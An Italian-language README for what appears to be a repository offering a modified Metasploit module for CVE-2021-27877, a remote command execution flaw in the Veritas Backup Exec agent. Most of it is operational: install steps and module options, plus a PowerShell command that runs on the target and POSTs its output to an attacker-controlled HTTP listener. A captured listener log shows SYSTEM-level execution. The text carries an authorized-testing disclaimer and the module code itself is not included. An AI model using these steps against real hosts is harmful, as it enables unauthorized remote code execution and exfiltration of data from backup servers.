
Una versione modificata del modulo Metasploit di Rapid7 per CVE-2021-27877 che supporta l'esecuzione diretta dei comandi per una validazione affidabile delle vulnerabilità. Include documentazione che spiega il flusso di lavoro dell'exploit, le modifiche al modulo ed esempi di utilizzo.
Questo repository contiene una versione modificata del modulo Metasploit originale di Rapid7 per CVE-2021-27877 che interessa l'agente Veritas Backup Exec.
Durante i miei test, il modulo Metasploit originale identificava correttamente il target come vulnerabile, ma non riusciva costantemente a stabilire una sessione perché la fase di consegna del payload non andava a buon fine. Tuttavia, l'analisi del modulo ha mostrato che l'autenticazione e la funzionalità sottostante di esecuzione dei comandi funzionavano correttamente.
Per semplificare la validazione della vulnerabilità, ho modificato il modulo per eseguire direttamente i comandi del sistema operativo forniti dall'utente tramite la funzionalità vulnerabile di esecuzione comandi NDMP, invece di caricare ed eseguire un payload. Questo rende più semplice confermare l'esecuzione remota di codice senza dipendere da una reverse shell o dallo staging del payload.
Disclaimer: Questa prova di concetto è fornita esclusivamente a scopo didattico e per test di sicurezza autorizzati. Usala solo su sistemi di tua proprietà o per i quali hai un'autorizzazione esplicita a valutare.
Nota: Per proteggere l'ambiente utilizzato durante i test, tutti gli indirizzi IP in questo repository sono stati resi anonimi. Negli esempi,
192.168.x.xrappresenta l'host target, mentre192.168.y.yrappresenta il sistema attaccante o il listener. Queste sostituzioni non influiscono sulla funzionalità della prova di concetto.
Rispetto al modulo Rapid7 originale, sono state apportate le seguenti modifiche:
COMMAND.Copia il modulo modificato nella directory dei moduli Metasploit locali.
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Avvia (o riavvia) Metasploit e ricarica i moduli locali:
msfconsole
reload_all
Prima di eseguire il modulo, avvia un listener HTTP (o qualsiasi server web in grado di ricevere e visualizzare richieste HTTP POST). Questo listener riceverà l'output del comando eseguito sul target.
Ad esempio, puoi utilizzare un semplice server HTTP Python con un gestore di richieste personalizzato, nc, o qualsiasi listener HTTP di tua scelta.
Carica il modulo:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
Configura le opzioni richieste:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
L'opzione COMMAND accetta qualsiasi comando che desideri eseguire sul target.
Questo modulo è progettato per eseguire un singolo comando e non restituisce automaticamente l'output del comando.
Per recuperare l'output, usa un meccanismo di callback appropriato all'interno del tuo comando (ad esempio, una richiesta HTTP POST o un altro canale in uscita) e monitora il tuo listener.
Esempio di output del listener:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system